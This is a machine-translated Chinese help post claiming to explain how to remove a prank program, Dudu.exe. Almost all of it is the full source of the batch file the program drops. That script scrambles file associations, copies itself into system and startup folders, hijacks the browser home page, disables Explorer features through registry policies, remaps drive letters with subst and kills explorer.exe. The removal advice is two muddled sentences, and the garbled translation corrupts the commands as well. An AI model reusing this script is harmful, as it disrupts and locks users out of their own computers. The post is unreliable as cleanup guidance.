Hoax program Dudu.exe Removal method _ virus killing

Hoax program Dudu.exe Cleanup solution

After the Dudu.exe runs, a bt0577.bat batch file is freed in the current user temporary folder. It's a prank program. To try to stop this. bat from running, open the file in Notepad and see the following:
@echo off
Assoc. txt=exefile
Assoc. exe=txtfile
Assoc. htm=exefile
Assoc. html=exefile
Assoc. com=txtfile
Assoc. gho=txtfile
Assoc. rar=txtfile
Assoc. zip=txtfile
Assoc. chm=txtfile
Assoc. jpg=txtfile
Assoc. doc=exefile
Assoc. ppt=txtfile
Assoc. vbs=txtfile
Assoc. cmd=txtfile
Assoc. bmp=txtfile
Assoc. gif=txtfile
Assoc. ico=txtfile
Assoc. png=txtfile
Assoc. jpeg=txtfile
Assoc. jpe=txtfile
Assoc. jfif=txtfile
Assoc. fla=txtfile
Assoc. swf=txtfile
Assoc. avi=txtfile
Assoc. mov=txtfile
Assoc. asf=txtfile
Assoc. wmv=txtfile
Assoc. rm=txtfile
Assoc. ra=txtfile
Assoc. mvb=txtfile
Assoc. flv=txtfile
Assoc. mpg=txtfile
Assoc. wav=txtfile
Assoc. mpeg=txtfile
Assoc. mp3=txtfile
Assoc. mp4=txtfile
Assoc. 3gp=txtfile
Assoc. 3g2=txtfile
Assoc. dat=txtfile
Assoc. msi=txtfile
Assoc. bat=txtfile
Copy%0 "%windir%\system32\"
Copy%0 "%systemdrive%"
Copy%0 "%userprofile%\" Start "menu \ Program \ Start \*.*"
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main"/V "Start
Page "/t reg_sz/dhttp://www.xiaowo.net/f
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main"/V
"Default_Page_URL"/t reg_sz/dhttp://www.xiaowo.net/f
REG ADD
hkey_current_user\softwarw\microsoft\windows\currentversion\policies\explorer/v
nofind/t reg_dword/d 1/f
REG ADD
hkey_current_user\softwarw\microsoft\windows\currentversion\policies\explorer/v
norun/t reg_dword/d 0/f
REG ADD
hkey_current_user\softwarw\microsoft\windows\currentversion\policies\explorer/v
noclose/t reg_dword/d 1/f
REG ADD
hkey_current_user\softwarw\microsoft\windows\currentversion\policies\explorer/v
hideclock/t reg_dword/d 1/f
REG ADD
hkey_current_user\softwarw\microsoft\windows\currentversion\policies\explorer/v
startmenulogoff/t reg_dword/d 1/f
REG ADD
hkey_current_user\softwarw\microsoft\windows\currentversion\policies\explorer/v
nodrives/t reg_dword/d 60/f
Subst B:c:\
Subst H:c:\
Subst I:c:\
Subst J:c:\
Subst K:c:\
Subst L:c:\
Subst M:c:\
Subst N:c:\
Subst O:c:\
Subst P:c:\
Subst Q:c:\
Subst R:c:\
Subst S:c:\
Subst T:c:\
Subst U:c:\
Subst V:c:\
Subst W:c:\
Subst X:c:\
Subst Y:c:\
Subst Z:c:\
Taskkill/im explorer.exe/f
REG ADD
hkey_current_user\softwarw\microsoft\windows\currentversion\policies\explorer/v
nofolderoptions/t reg_dword/d 1/f
REG ADD
hkey_current_user\softwarw\microsoft\windows\currentversion\policies\explorer/v
noviewcontextmenu/t reg_dword/d 0/f
REG ADD
hkey_current_user\softwarw\microsoft\windows\currentversion\policies\explorer/v
nowinkeys/t reg_dword/d 1/f
——————————————————————

If Bt0577.bat is running, the resource manager process is closed, the user has only one empty desktop to look at; The file association is changed to a mess; three key pull up Task Manager,  reboot resource Manager, see with Explorer, visible hard disk partition increase n actually did not increase (can be verified by PQ).
This program cannot penetrate the shadow. If you run it in the shadow from a hoax program, restart it OK.